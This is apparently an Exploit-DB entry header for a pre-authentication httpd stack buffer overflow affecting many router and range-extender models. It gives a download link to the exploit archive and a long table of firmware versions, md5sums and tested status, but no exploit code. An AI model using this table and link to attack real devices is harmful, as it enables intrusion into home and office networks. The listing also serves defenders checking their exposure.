扫码分享
验证：
体验盒子# EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/48588.zip
#
# Exploits a pre-authentication memcpy based stack buffer overflow vulnerability
# in httpd on several devices and versions:
#
# DeviceVersion httpd md5sumExploit status
# AC1450V1.0.0.36_10.0.17 c105a629d55d3f7b29d6b88e2cc6ff3aUntested
# AC1450V1.0.0.34_10.0.16 b01fa2155dbe3d37c0d244f2a258b797Untested
# AC1450V1.0.0.22_1.0.108327b4ccf3c3ea1281f5beb932f308bbUntested
# AC1450V1.0.0.14_1.0.6 a199bd85a19fbfe360e967c889fb0a83Untested
# AC1450V1.0.0.8_1.0.4c1f64b91722efa50452d6842a5e97f77Untested
# AC1450V1.0.0.6_1.0.31b043477b16d5bbd2be3d4b7c4430953Untested
# D6220 V1.0.0.52_1.0.524c63e0a531ddf60310faf99702226c37Untested
# D6220 V1.0.0.48_1.0.482efa4dfdb0901ffe4b99555e2ddeca32Untested
# D6220 V1.0.0.46_1.0.462911f178060efcda3644be4bc7f25249Untested
# D6220 V1.0.0.44_1.0.443ea0dbb8e22d0e4daf3f12d5bb26ab64Untested
# D6220 V1.0.0.40_1.0.40ef47f7085976c65890991eb67bbd31f7Untested
# D6220 V1.0.0.36_1.0.3606c1b6ff9bac3e5c583f71f8cb63bd3aUntested
# D6220 V1.0.0.34_1.0.349a1fcd70a952b63ea874a826793e11baUntested
# D6220 V1.0.0.32_1.0.325f9b38b2e4afcff3117f3f4d1bc454f4Untested
# D6220 V1.1.0.28_1.0.285fa7890b766cbd6233043a601bdc990cUntested
# D6220 V1.0.0.24_1.0.241d8cfa4843dd9c4f1b1360beca080a81Untested
# D6220 V1.0.0.22_1.0.223d1916d41b6e1e728238e5def8723b3eUntested
# D6220 V1.0.0.16_1.0.16d5d19a4e7ba57850e4c09a01766cde3aUntested
# D6300 V1.0.0.102_1.0.1028dd49d875e2683e396dc67381fadd057Tested
# D6300 V1.0.0.96_1.1.965caa6056af76330fc0292657f192cb69Untested
# D6300 V1.0.0.90_1.0.906196e4b48c9337fd5b89f527262f81dcTested
# D6300 V1.0.0.88-1.0.88d65d7d6db8a240bed2c845f9ce5ef8edUntested
# D6300 V1.0.0.76_1.0.76b4c98cc8ff8d9cd3c4a1f65c5c5f0fdeUntested
# D6300 V1.0.0.72_1.0.72d0690f900a0fa29b38266b04de51869eUntested
# D6300 V1.0.0.42_1.0.42e86b7593f1e6d59f49fe4948379d0d69Untested
# D6300 V1.0.0.30_1.0.30f3691a3179fcd7390b62398f365a4c1aUntested
# D6300 V1.0.0.24_1.0.2433cad70c5c307950fffded6c8f64066bUntested
# D6300 V1.0.0.16_1.0.1655f4d6ac42eff8014254eadce033faacUntested
# D6400 V1.0.0.88_1.0.88a9a31bd500dc6542969e039283b4f44fUntested
# D6400 V1.0.0.86_1.0.866ef83c99c829dc7e7d0a0907d3ed71a8Untested
# D6400 V1.0.0.82_1.0.8233c63fc65ecba162e8acbb85bed0dda0Untested
# D6400 V1.0.0.80_1.0.804d9a3533b6e7afddfb2060649e44d092Untested
# D6400 V1.0.0.78_1.0.786de4a742f7c7edd7241deda0fdfd5ab4Untested
# D6400 V1.0.0.74_1.0.74e692a2670b133efb293ecc3e3f9c82b4Untested
# D6400 V1.0.0.70_1.0.70a9a0cd9ebb6e45671b03a291f79cfaf0Untested
# D6400 V1.0.0.68_1.0.68226c662ecbf01f524cf0c0537220d652Untested
# D6400 V1.0.0.66_1.0.66a1986e8fe5c270d2e8a3f9416b086a85Untested
# D6400 V1.0.0.60_1.0.601f74db16784172b4e8b385149b7b730cUntested
# D6400 V1.0.0.58_1.0.58e62704fc3cec8611afc65643564943d2Untested
# D6400 V1.0.0.56_1.0.56b02401e956d4160c59a2f59a31da51bcUntested
# D6400 V1.0.0.54_1.0.54632e9d26af86341f2eea25248e298b8cUntested
# D6400 V1.0.0.52_1.0.52c54e25d1dcd814c44ee29b26337ca140Untested
# D6400 V1.0.0.44_1.0.449b5cca485ed56ade5cb3d556c8bb975bUntested
# D6400 V1.0.0.38_1.1.38b5729e40e61563f7a1a29359e0f9c78cUntested
# D6400 V1.0.0.34_1.3.345628ae2ce9326a63b050e96b6aa3fb79Untested
# D6400 V1.0.0.22_1.0.221dc99a4d0952f648f1dab07d5cdd2a60Untested
# D7000v2 V1.0.0.56_1.0.1 a35f742d1d7ebf7c882fa71bc6cd4d74Untested
# D7000v2 V1.0.0.53_1.0.2 27d115ede639511d2eda25114dd82a5bUntested
# D7000v2 V1.0.0.52_1.0.1 827190546bcae129c56334674af3f669Untested
# D7000v2 V1.0.0.51_1.0.1 0583d3f1fd97d3616a9e1448be12ee16Untested
# D7000v2 V1.0.0.47_1.0.1 4880a731183fce2b4d47c5064c6d7236Untested
# D7000v2 V1.0.0.45_1.0.1 2f1bc9a39d033d10c9ae73c299353524Untested
# D7000v2 V1.0.0.44_1.0.1 7d37548ceda1aeb2a163b9616ecfc156Untested
# D7000v2 V1.0.0.40_1.0.1 095c32dae5741f5342f5b5aaeeac6206Untested
# D7000v2 V1.0.0.38_1.0.1 acca219a67790af0897f8ca6f1bd949fUntested
# D8500 V1.0.3.44_1.0.1 24352845696378cb0bcef38414d5640aUntested
# D8500 V1.0.3.43_1.0.1 b71e3b8eb1aedd615aafc9311dd36886Untested
# D8500 V1.0.3.42_1.0.1 a567caf426cc76cd11ec3c3053519c8fUntested
# D8500 V1.0.3.39_1.0.1 ff56ddb8126f5aa1dfc4d85d2eeafce4Untested
# D8500 V1.0.3.36_1.0.1 862a04b37c61fa9cadff8754d9f3abb2Untested
# D8500 V1.0.3.35_1.0.1 16d4ab7b3357bda7e68a79b5b9022c4dUntested
# D8500 V1.0.3.28_1.0.1 94bbb72e108e68a774746a97cc7c00c0Untested
# D8500 V1.0.3.27_1.0.1 822427e336366dd83c018e541d1d2d4fUntested
# D8500 V1.0.3.25_1.0.1 ddd3c3f02d1286f26344265d6db1bea5Untested
# DC112AV1.0.0.44_1.0.60e4721b08c70fcdc3dd1048cee49c2118Untested
# DC112AV1.0.0.30_1.0.60c11c0fb597c234e682fbbf3f5ba00d90Untested
# DC112AV1.0.0.24_1.0.60b2b677dff87eab44b4972ff4948532e6Untested
# DGN2200 V1.0.0.58_7.0.57db21e42ca1bf1878192fa7b1627b065aTested
# DGN2200 V1.0.0.57_7.0.57b5e9360ea0411e3e01e2901ec1c14c61Untested
# DGN2200 V1.0.0.55_7.0.555853a3a4aa466ad491b23d2a59759f67Untested
# DGN2200 V1.0.0.52_7.0.528286b50e5598cf314aa15d0ce204e36cUntested
# DGN2200 V1.0.0.50_7.0.50NA6e37ab74491954b2763bdb6214848045Untested
# DGN2200 V1.0.0.36_7.0.36NA3ab21af915088055bcdfc5ade0af2c2cUntested
# DGN2200 V1.0.0.36_7.0.3675a601e25219af4cf8a0c0978a3a1d71Untested
# DGN2200v4 V1.0.0.110_1.0.1105a8772a24aac9d15128bf928d748c1abUntested
# DGN2200v4 V1.0.0.108_1.0.1082ce2f58da92aba784e0d54e2b6ddfc22Untested
# DGN2200v4 V1.0.0.102_1.0.102c7f92c42a258d6e8eadcb9335f25afdbTested
# DGN2200v4 V1.0.0.98_1.0.98ce7f84170d80046146076c0212c46b22Untested
# DGN2200v4 V1.0.0.90_1.0.90fad68b99a9fb2eab63cbfc6b56951d82Untested
# DGN2200v4 V1.0.0.86_1.0.866a81f9a1c610a9884308d58faf36e5a7Untested
# DGN2200v4 V1.0.0.82_1.0.82adfeaa24b82ff7a9ae3ce4a779f32240Untested
# DGN2200v4 V1.0.0.76_1.0.766ca6a23431ea41ed6fbb2c71dc6d46f8Untested
# DGN2200v4 V1.0.0.66_1.0.6652e293aea6c51a08be9e00aa653217e2Untested
# DGN2200v4 V1.0.0.62_1.0.62e88ebcec9d158dfaf557c996a6034edcUntested
# DGN2200v4 V1.0.0.58_1.0.58a7a3412bc7608971b6a0bf47c95a56d6Untested
# DGN2200v4 V1.0.0.46_1.0.46603daa3cedb8c6269257416c27f1e55bUntested
# DGN2200v4 V1.0.0.24_5.0.8 a9151f0c434e6b27135b628a8cf51134Untested
# DGN2200v4 V1.0.0.5_5.0.34668835a74ecab6333889d7efe171361Untested
# DGN2200MV1.0.0.37_1.0.21WW87fbe2fa75d8acdee8022f71629d7d79Tested
# DGN2200MV1.0.0.35_1.0.21WWffd47e9d882ce4f3de11df49ce7a535bTested
# DGN2200MV1.0.0.35_1.0.21NAa8edc9e918fde432f6979af0ea77aeb6Untested
# DGN2200MV1.0.0.33_1.0.21WW6868b9bd17a5a47c739c0bf68dc04875Untested
# DGN2200MV1.0.0.33_1.0.21NAd8ddd5aef65509ee95239135aa3dfc71Untested
# DGN2200MV1.0.0.26_1.0.20WWb2942e856d5690962d7b39d585d63c2dUntested
# DGN2200MV1.0.0.24_1.0.20NA3cf45d175d4151dadd8d2823b7222121Untested
# DGND3700V1.0.0.17_1.0.17b103c87de279c008bfd9793fb808125eUntested
# DGND3700V1.0.0.17_1.0.17NAd88c70428a629ae3a899628e4d0d7f2cUntested
# DGND3700V1.0.0.12_1.0.1283fabbde0e49ab07a5ab77a94a5dd0d4Untested
# DGND3700V1.0.0.12_1.0.12NAc6735900e4239a2a474f82fea6b2bf2fUntested
# EX3700V1.0.0.78_1.0.51456b1fdd776007c0999a6b5cc85ea4e0Untested
# EX3700V1.0.0.76_1.0.49cd4e4e9179569fafa3c406cf48d4ee2cUntested
# EX3700V1.0.0.72_1.0.473556b3a666c781dbed7d6d6304ae34b5Untested
# EX3700V1.0.0.70_1.0.46a0e1573c0e8dbd9ae43ab07e1e4bddd7Untested
# EX3700V1.0.0.68_1.0.45d26b6062d6e75fee8109e67572cdcc26Untested
# EX3700V1.0.0.64_1.0.43d665edd51692e539592b5e1667eef22cUntested
# EX3700V1.0.0.62_1.0.429e753ac547229b6a3df28f03115a8d31Untested
# EX3700V1.0.0.58_1.0.3867ab1cac6cbf6d074cea95fadca461abUntested
# EX3700V1.0.0.50_1.0.3026bf966c3dc6143f126ccc6d4e016b0bUntested
# EX3700V1.0.0.48_1.0.28df8012bd7cf20db8592aaacf6b634691Untested
# EX3700V1.0.0.46_1.0.26e9416497850099b1f851d52bbb5f520cUntested
# EX3700V1.0.0.44_1.0.2230323764937bae52d93184f3b521783aUntested
# EX3700V1.0.0.34_1.0.2237c8368144211c8f73d7be9a9f6dacb2Untested
# EX3700V1.0.0.28_1.0.20d7e6b85d140f09f08ce3129dc88918c2Untested
# EX3700V1.0.0.26_1.0.19bc0c9df4ed9424c0d3b94bf78db594c0Untested
# EX3700V1.0.0.24_1.0.1864e7797362fe0b58c4eb71758b8fa5bfUntested
# EX3700V1.0.0.22_1.0.17ee6f11943d1cd33f87f6fddd01917f96Untested
# EX3800V1.0.0.78_1.0.51456b1fdd776007c0999a6b5cc85ea4e0Untested
# EX3800V1.0.0.76_1.0.49cd4e4e9179569fafa3c406cf48d4ee2cUntested
# EX3800V1.0.0.72_1.0.473556b3a666c781dbed7d6d6304ae34b5Untested
# EX3800V1.0.0.70_1.0.46a0e1573c0e8dbd9ae43ab07e1e4bddd7Untested
# EX3800V1.0.0.68_1.0.45d26b6062d6e75fee8109e67572cdcc26Untested
# EX3800V1.0.0.64_1.0.43d665edd51692e539592b5e1667eef22cUntested
# EX3800V1.0.0.62_1.0.429e753ac547229b6a3df28f03115a8d31Untested
# EX3800V1.0.0.58_1.0.3867ab1cac6cbf6d074cea95fadca461abUntested
# EX3800V1.0.0.50_1.0.3026bf966c3dc6143f126ccc6d4e016b0bUntested
# EX3800V1.0.0.48_1.0.28df8012bd7cf20db8592aaacf6b634691Untested
# EX3800V1.0.0.46_1.0.26e9416497850099b1f851d52bbb5f520cUntested
# EX3800V1.0.0.44_1.0.2230323764937bae52d93184f3b521783aUntested
# EX3800V1.0.0.34_1.0.2237c8368144211c8f73d7be9a9f6dacb2Untested
# EX3800V1.0.0.28_1.0.20d7e6b85d140f09f08ce3129dc88918c2Untested
# EX3800V1.0.0.26_1.0.19bc0c9df4ed9424c0d3b94bf78db594c0Untested
# EX3920V1.0.0.78_1.0.51456b1fdd776007c0999a6b5cc85ea4e0Untested
# EX3920V1.0.0.76_1.0.49cd4e4e9179569fafa3c406cf48d4ee2cUntested
# EX3920V1.0.0.72_1.0.473556b3a666c781dbed7d6d6304ae34b5Untested
# EX3920V1.0.0.70_1.0.46a0e1573c0e8dbd9ae43ab07e1e4bddd7Untested
# EX3920V1.0.0.68_1.0.45d26b6062d6e75fee8109e67572cdcc26Untested
# EX3920V1.0.0.64_1.0.43d665edd51692e539592b5e1667eef22cUntested
# EX3920V1.0.0.62_1.0.429e753ac547229b6a3df28f03115a8d31Untested
# EX3920V1.0.0.58_1.0.3867ab1cac6cbf6d074cea95fadca461abUntested
# EX3920V1.0.0.50_1.0.3026bf966c3dc6143f126ccc6d4e016b0bUntested
# EX3920V1.0.0.48_1.0.28df8012bd7cf20db8592aaacf6b634691Untested
# EX3920V1.0.0.46_1.0.26e9416497850099b1f851d52bbb5f520cUntested
# EX3920V1.0.0.44_1.0.2230323764937bae52d93184f3b521783aUntested
# EX3920V1.0.0.34_1.0.2237c8368144211c8f73d7be9a9f6dacb2Untested
# EX3920V1.0.0.28_1.0.20d7e6b85d140f09f08ce3129dc88918c2Untested
# EX3920V1.0.0.26_1.0.19bc0c9df4ed9424c0d3b94bf78db594c0Untested
# EX6000V1.0.0.38_1.0.22fa48d3a1d76f0141022b70b37a139bfbUntested
# EX6000V1.0.0.32_1.0.18b119eb091db312c9223291cc12608bc4Untested
# EX6000V1.0.0.30_1.0.17a4988eb60c3b548c8117ff79a4e0601eUntested
# EX6000V1.0.0.28_1.0.16dc2b1eb141909690af81ef5690cc5912Untested
# EX6000V1.0.0.24_1.0.1426077a4cdaf21b6ba0d886ea070ce8d7Untested
# EX6000V1.0.0.20_1.0.11f17de59371f715b6735f0f7f8c9042e9Untested
# EX6000V1.0.0.10_1.0.6 e507e02386a634b092be4a5e2118e7b1Untested
# EX6100V1.0.2.24_1.1.134 6fde4f0259baeb6a3680fb9796b920abTested
# EX6100V1.0.2.18_1.1.131 5baa9a7007dff6000bf143231e8f43ceUntested
# EX6100V1.0.2.16_1.1.130 ee1efa975138f748fbbb21a450b956a9Untested
# EX6100V1.0.2.6_1.1.120f5a6e0de947f281261b0078fa306e631Untested
# EX6100V1.0.1.36_1.0.114 a1b3591183bc3f75dc280f0565b2c2c9Untested
# EX6100V1.0.0.28_1.0.667a39f661c1c6e7f3168dd9e805283f12Tested
# EX6100V1.0.0.22_1.0.510bb3870ff95764b2cd600c673d81af8eUntested
# EX6120V1.0.0.48_1.0.30e05613c38204f66c1c8003f5ec4bde0dUntested
# EX6120V1.0.0.46_1.0.2946a4c7f6f054665bed444c2f536b7bf0Untested
# EX6120V1.0.0.42_1.0.27ddbaa705a3e54cf361735c559e500494Untested
# EX6120V1.0.0.40_1.0.259d6ad5117207ffeda165dea3f9bb4f73Untested
# EX6120V1.0.0.36_1.0.23cfdfa436b024e95d53630fd71f46c48eUntested
# EX6120V1.0.0.32_1.0.2158866ce4c45337157d573d904e2a4052Untested
# EX6120V1.0.0.30_1.0.20817c93296f8149f6a8e41ef501918509Untested
# EX6120V1.0.0.28_1.0.18feb144c0a06e2251647ff8a8bb88704bUntested
# EX6120V1.0.0.26_1.0.1690c4e8c9ef5c03e09989caf944a80cf3Untested
# EX6120V1.0.0.16_1.0.118f388e0ee15e32f9b7ee46d49d8e9ea2Untested
# EX6120V1.0.0.14_1.0.10b6e59d1ef530c60a9ba03b8b28784ccaUntested
# EX6120V1.0.0.8_1.0.4be69b611410dee663ca081d23e56cc9bUntested
# EX6120V1.0.0.4_1.0.2368cbc774798fb5233f82cb02277213bUntested
# EX6130V1.0.0.30_1.0.17947f815e4a2fe0678e7dd67c4b10cc99Untested
# EX6130V1.0.0.28_1.0.1620db4ec9dfa72f0a3a6e5574b5663cb7Untested
# EX6130V1.0.0.24_1.0.14355fe4afe7c8c017ed8048f39e3ad1e3Untested
# EX6130V1.0.0.22_1.0.136b87f60aa1ea4c6d9d44f2e8f32fc2aaUntested
# EX6130V1.0.0.20_1.0.12428b183f162edddacb3c4d4da0a2ecd6Untested
# EX6130V1.0.0.16_1.0.10ede8953a631f5315085bfcbc50ac0534Untested
# EX6130V1.0.0.12_1.0.7 a1485ffd1b0afa2430c8ceb860fd12c8Untested
# EX6150V1.0.0.42_1.0.73f826bb5b4850ec73c3c5522db0d9f3bbUntested
# EX6150V1.0.0.34_1.0.69ff4a9ac154f6dc5c58d8ee72c847d6dcUntested
# EX6150V1.0.0.32_1.0.68baf6e6074326d8da71b5e81d59fd2bbcUntested
# EX6150V1.0.0.28_1.0.644209003e1c1c481ad66679918ccefd41Untested
# EX6150V1.0.0.16_1.0.5856f1fa5cddc9a714796fd671e95d12ceUntested
# EX6150V1.0.0.14_1.0.54067b3adcde96e80e0bcc11ed9c846459Untested
# EX6200V1.0.3.90_1.1.125 884de197aa849e668ac7810561e92265Untested
# EX6200V1.0.3.88_1.1.123 6c183bb1b9b025cb30496dee0d9ab473Untested
# EX6200V1.0.3.82_1.1.117 91e4f5f7fd02adb693b79572a2f887a0Untested
# EX6200V1.0.3.76_1.1.111 c20025474fb29a28dc45e7b2c4566421Untested
# EX6200V1.0.3.74_1.1.109 c7e0ea632820e9674165190d2f7d8a57Untested
# EX6200V1.0.3.68_1.1.104 4fce79801c0ad403df3d627c0d3cc290Untested
# EX6200V1.0.1.60_1.1.9849b23634828219d28739195b491749deUntested
# EX6200V1.0.0.52_1.1.90dc12bb1fb624fd72625f951d829c84beUntested
# EX6200V1.0.0.46_1.1.7049b158f381a21555d0c715c6e7c33d64Untested
# EX6200V1.0.0.42_1.1.574024cd22371a955861589cfdca67014dUntested
# EX6200V1.0.0.38_1.1.522e6e9debfe5b93d54e18ec8f04a43480Untested
# EX6920V1.0.0.40_1.0.259d6ad5117207ffeda165dea3f9bb4f73Untested
# EX6920V1.0.0.36_1.0.23cfdfa436b024e95d53630fd71f46c48eUntested
# EX6920V1.0.0.32_1.0.2158866ce4c45337157d573d904e2a4052Untested
# EX6920V1.0.0.30_1.0.20817c93296f8149f6a8e41ef501918509Untested
# EX6920V1.0.0.28_1.0.18feb144c0a06e2251647ff8a8bb88704bUntested
# EX6920V1.0.0.26_1.0.1690c4e8c9ef5c03e09989caf944a80cf3Untested
# EX6920V1.0.0.16_1.0.118f388e0ee15e32f9b7ee46d49d8e9ea2Untested
# EX6920V1.0.0.14_1.0.10b6e59d1ef530c60a9ba03b8b28784ccaUntested
# EX6920V1.0.0.8_1.0.4be69b611410dee663ca081d23e56cc9bUntested
# EX6920V1.0.0.4_1.0.2368cbc774798fb5233f82cb02277213bUntested
# EX7000V1.0.1.84_1.0.148 769b68e697516fd40645e85266276844Untested
# EX7000V1.0.1.80_1.0.144 df02a32c3e8dfe22a0e10adf8f9cfa9dUntested
# EX7000V1.0.1.78_1.0.140 cf3939b5cd5f3379084c164f0ab85ea5Untested
# EX7000V1.0.0.66_1.0.126 13ddf3f666fe43a4c988babf54861292Untested
# EX7000V1.0.0.62_1.0.122 ce6c2f13b057873db9fec0f7fdc86b5bUntested
# EX7000V1.0.0.58_1.0.112 0b988da5188b0c2712a8414f34f68152Untested
# EX7000V1.0.0.56_1.0.108 40ce1aadf9810780d9b9d1cc6dd27a29Untested
# EX7000V1.0.0.50_1.0.102 f862e5ae2823f9187580796c90dd388bUntested
# EX7000V1.0.0.42_1.0.94be8bd31d14825930b8f6f9e4005b436eUntested
# EX7000V1.0.0.38_1.0.9104c5f1f03a3ed1491519c450e73a30dfUntested
# EX7000V1.0.0.36_1.0.88ed80bd32dc66f080d962295130c7665cUntested
# EX7000V1.0.0.32_1.0.8400376a5055221c56217a93e41a5ef9c9Untested
# EX7000V1.0.0.30_1.0.72e182cad2e1d3bfbc33142141958e62f5Untested
# LG2200D V1.0.0.57_1.0.40c788662b93484b512c97147f5e008ff9Untested
# MBM621V1.1.34ac9ddde0b40da6b2f8c9e66d7cb3560Untested
# MBR624GUV6.01.30.64WW 367530253434926de55988a08e517828Untested
# MBR624GUV6.01.30.61WW 7319b8c9ca2335024693e4f6ad02dfb1Untested
# MBR624GUV6.01.30.59WW 6a78396265425537f2b15473d7f4fff6Untested
# MBR624GUV6.01.30.59NA e4d0ec49da0956cc8b0fb7ff9461be4fUntested
# MBR624GUV6.00.30.46WW 6f984aa8e172204310226fdee94ab938Untested
# MBR624GUV6.00.28.43WW e10b0ab92c8edc94975b345a102ef145Untested
# MBR624GUV6.00.28.43NA 5c3e39fed6d914a836c99c397b3f1ec1Untested
# MBR624GUV6.00.26.21WW ab6b6f1635dc27a6a93c5f172496286aUntested
# MBR624GUV6.00.22.14NA bafc32d9dc20f686f3162b263f391df6Untested
# MBR624GUV6.00.22.12 7fe0d93833ffe7f74bc829e1054c8312Untested
# MBR1200 V1.2.2.53 3ed99932142ee830544022ed0582e1d1Untested
# MBR1515 V1.2.2.68 623d9ee0386c50c122fce6f3d6497c94Untested
# MBR1516 V1.2.2.84BM cbf78bd7d7ee6c7a3a5375ae6dc07cecUntested
# MBRN3000V1.0.0.74_2.0.12WWd496c9abe19b706d688fe11f9d48244fUntested
# MBRN3000V1.0.0.72_2.0.12WW0e5c04a9053070fbe09501ebd45148fbUntested
# MBRN3000V1.0.0.72_2.0.12NAf5166bb95613b2c32d4a22b31adea533Untested
# MBRN3000V1.0.0.69_2.0.12WW621647d9b23d6484c11d35ba8b28fc41Untested
# MBRN3000V1.0.0.69_2.0.12NAdf4a8e61a3573f08e0f7e3c3a4925d45Untested
# MBRN3000V1.0.0.65_2.0.12WW73f3a1d64c334e947cb5ca1f39f69301Untested
# MBRN3000V1.0.0.65_2.0.12NAd3ba7bcc00b3d09a72e0b1992c3fcdc4Untested
# MBRN3000V1.0.0.43NA cad281cfc42d26ffd88762d24074577bUntested
# MVBR1210C V1.2.0.35BM b36a65b43d84f12254ead93484e64691Untested
# R4500 V1.0.0.4_1.0.3eb878ea3ee999ebd2697d3a1ea6844b0Untested
# R6200 V1.0.1.58_1.0.44c5eb9a42ecad8deb05cdcfbba948489eUntested
# R6200 V1.0.1.56_1.0.43b9ba700570eece0317d2d7e6f69375b1Untested
# R6200 V1.0.1.52_1.0.41d6fd17a8d8dec0cd65f85cf3b423b618Untested
# R6200 V1.0.1.48_1.0.37ba22d5de1d45e7b27ef02b54d76109c1Untested
# R6200 V1.0.1.46_1.0.363b5ac031b2756daf2a22879750887491Untested
# R6200 V1.0.0.28_1.0.2432748ac05aed521902cdc94c79a9c7d0Untested
# R6200 V1.0.0.18_1.0.18b1e6175e31617dad54a2ebbdc0a0df6cUntested
# R6200v2 V1.0.3.12_10.1.11 0b0df46df490bb452369a8b2a8075039Untested
# R6200v2 V1.0.3.10_10.1.10 8baf6ea213db77e77888566ceeb39ac1Untested
# R6200v2 V1.0.1.20_1.0.18e11bba1b0c9d7c882da165188d16a83bUntested
# R6200v2 V1.0.1.18_1.0.175b11e221cee499d20a0615461622ac79Untested
# R6200v2 V1.0.1.16_1.0.15b507812655353cc7ea1c95da7816f820Untested
# R6200v2 V1.0.1.14_1.0.145076ce08e5bcaba94e510213e59bfff3Untested
# R6250 V1.0.4.38_10.1.30 c84cc113aae5aa5a8e540898bda5bd5fUntested
# R6250 V1.0.4.36_10.1.30 216a9f879e881b5ae467790761c87ebdTested
# R6250 V1.0.4.34_10.1.28 0dc8a4bab30dbbe4d8afcfcb360187adUntested
# R6250 V1.0.4.26_10.1.23 3f1be99b50d35864d70d2aee5ecc33c6Untested
# R6250 V1.0.4.20_10.1.20 2403a8ce4d04a584b19f0cf30f92bf56Untested
# R6250 V1.0.4.16_10.1.18 fe6030d67f0a055903e55d405cb91e20Untested
# R6250 V1.0.4.14_10.1.17 e0dc56338e8f16c1c38c0845291dafdaUntested
# R6250 V1.0.4.12_10.1.15 0bc26be95cded31e5453d482085e723cUntested
# R6250 V1.0.4.8_10.1.138424c65f442d90638a6d0fc9bcf83d35Untested
# R6250 V1.0.4.6_10.1.12356b523cb24085686b65769e1872a583Untested
# R6250 V1.0.4.2_10.1.104f119505aa1ad2c66db91ee74693442aUntested
# R6250 V1.0.3.12_10.1.8c5ae345bf1d4b790df115ce17a1e2629Untested
# R6250 V1.0.3.6_10.1.3 309fefe7f4c6e451adca8339107e3794Untested
# R6250 V1.0.1.84_1.0.787dfdbdc609b182d6923f486f4d9c5283Tested
# R6250 V1.0.1.82_1.0.77d3cb80a6d4e32ac12a6ca996860179c7Untested
# R6250 V1.0.1.80_1.0.75cb32448faaa7dfc9031e82a80e3c6366Untested
# R6250 V1.0.0.72_1.0.71e8870c350aa8b1831de04528313b4597Untested
# R6250 V1.0.0.70_1.0.708da51e46e4a0c8ce73b07afbcd4580f3Untested
# R6250 V1.0.0.62_1.0.62c086bcb2c79cf35f4369cf6a99f1c8a5Untested
# R6300 V1.0.2.80_1.0.595fc46dc531417ecd3a45c7fbe23b2c99Untested
# R6300 V1.0.2.78_1.0.58ae302b1749a6d3462aa218c71b319ec4Untested
# R6300 V1.0.2.76_1.0.57a613643bbce2cec3c79f8f5896de9d9dUntested
# R6300 V1.0.2.70_1.0.5043075b37dd29c100d412ef91bc26130eUntested
# R6300 V1.0.2.68_1.0.49647341220a8706d9dc7c6023a7520f6eUntested
# R6300 V1.0.2.38_1.0.33937ad68339a92c3672b205d26b29f348Untested
# R6300 V1.0.2.36_1.0.289cceb9d7c494c68304babd23fda58a13Untested
# R6300 V1.0.2.26_1.0.26f44aba5cddc36eedebb08a74b40793dbUntested
# R6300 V1.0.2.14_1.0.23d9ce4aca0e55a0777083351958ad939cUntested
# R6300 V1.0.2.10_1.0.21f8ae0c63ea66511e3f8e006d44236e5cUntested
# R6300 V1.0.0.90_1.0.1887bb9b3375847616e30db052708b8442Untested
# R6300 V1.0.0.68_1.0.16f6276b5a3a319c423cb0bf6578098775Untested
# R6300v2 V1.0.4.36_10.0.93 ad739a306344ba53c23dcec60b1f25ecUntested
# R6300v2 V1.0.4.34_10.0.92 e493f182ecd746d3de18df040a95211aUntested
# R6300v2 V1.0.4.32_10.0.91 0842fa456950808a355edb18795112b6Tested
# R6300v2 V1.0.4.28_10.0.89 f4ae7abd7bff63b66f096255e4c428caUntested
# R6300v2 V1.0.4.24_10.0.87 e05be33f9f55986c8f606be892fffc69Untested
# R6300v2 V1.0.4.8_10.0.77d6c9b72c67535e159ea7af739cd07926Untested
# R6300v2 V1.0.4.6_10.0.76a3d4fe0c8e7cd91a40724e9c7464fdf6Untested
# R6300v2 V1.0.4.2_10.0.7400f2196125d61b53ffd16dccaa7fde83Untested
# R6300v2 V1.0.3.30_10.0.73 00c15e4a4cde88faaf3875914f959a2dUntested
# R6300v2 V1.0.3.28_10.0.71 cdb52e60dc2aaf5ca0944131451bad70Untested
# R6300v2 V1.0.3.26_10.0.70 3c05bff70e44fa9458739e260d3cb647Untested
# R6300v2 V1.0.3.22_10.0.67 6cda020fed0ae522671c15f7620c531fUntested
# R6300v2 V1.0.3.8_1.0.60 69637d313345d7d73d8f853ef2cac2b4Tested
# R6300v2 V1.0.3.6_1.0.63CH 2871ac95aea8f1907ab2cce316a6dee9Tested
# R6300v2 V1.0.3.2_1.0.57 e127e31093baddeee0b445dfb5b0585cUntested
# R6300v2 V1.0.2.86_1.0.5167b4667c4f4d5a46a29bef1a705526acUntested
# R6300v2 V1.0.2.72_1.0.46b1edb9bbc305d22110f9231892784e3dUntested
# R6300v2 V1.0.1.72_1.0.21907ce31e0d0c1a81f7f39b152490bb6cUntested
# R6400 V1.0.1.52_1.0.362d9bdc83337eaebd5b0764e4dfbf6615Untested
# R6400 V1.0.1.50_1.0.3582c8c7958cc51705e0388d17494a7e5bUntested
# R6400 V1.0.1.46_1.0.32792259674ad727503af277ec1dfaacb1Untested
# R6400 V1.0.1.44_1.0.31eeab43c47589c596a25b8da901c0b986Tested
# R6400 V1.0.1.42_1.0.28f88a6ffd8b267951c1e3acf49041cb29Untested
# R6400 V1.0.1.36_1.0.25fbaea94679a9e93f317fa887b835aacdTested
# R6400 V1.0.1.34_1.0.24d272b88f46a0acd88449250bf7cb40d9Untested
# R6400 V1.0.1.26_1.0.195c52c2422597a786afe6899afa51fe3fUntested
# R6400 V1.0.1.24_1.0.1819e6711c51642615cd8da895bcb4f154Untested
# R6400 V1.0.1.22_1.0.17d790c8858dd1968bb0cbac73e7ae049bUntested
# R6400 V1.0.1.20_1.0.16d8620afd06eb83c41350f490de6792dfTested
# R6400 V1.0.1.18_1.0.15e98f59224c11fe7b7adbe4d35a2ae024Untested
# R6400 V1.0.1.12_1.0.117541ede9feaa32df1e20b852f7a230a5Untested
# R6400 V1.0.1.6_1.0.483ba47279692268739d82a7edfafc1ecUntested
# R6400 V1.0.0.26_1.0.145be5fe81595674f0a11a65982a8cf7e3Untested
# R6400 V1.0.0.24_1.0.13aa8531c26e10e4e4e612ea4a3df3f7c6Untested
# R6400 V1.0.0.20_1.0.11f320cf859f20f3faab341b47d570740eUntested
# R6400 V1.0.0.14_1.0.8 b66455bd7c21a54682e9987fa662ec35Untested
# R6400v2 V1.0.4.84_10.0.58 25c0a4081adf5ff142074fd0d8014ac7Untested
# R6400v2 V1.0.4.82_10.0.57 234bdb2fe2d358fa4dbce974ca98d8b0Untested
# R6400v2 V1.0.4.78_10.0.55 c7dad31adf2562df42d1b020a56ab630Untested
# R6400v2 V1.0.3.66_10.0.50 585dedb8fa86d0d8f6a4efb5591c501dUntested
# R6400v2 V1.0.2.66_10.0.48 43d36ce5d516a6121adff6aec8f5a7c7Untested
# R6400v2 V1.0.2.62_10.0.46 11aa8cceef3708d911cb4b2919fe396aUntested
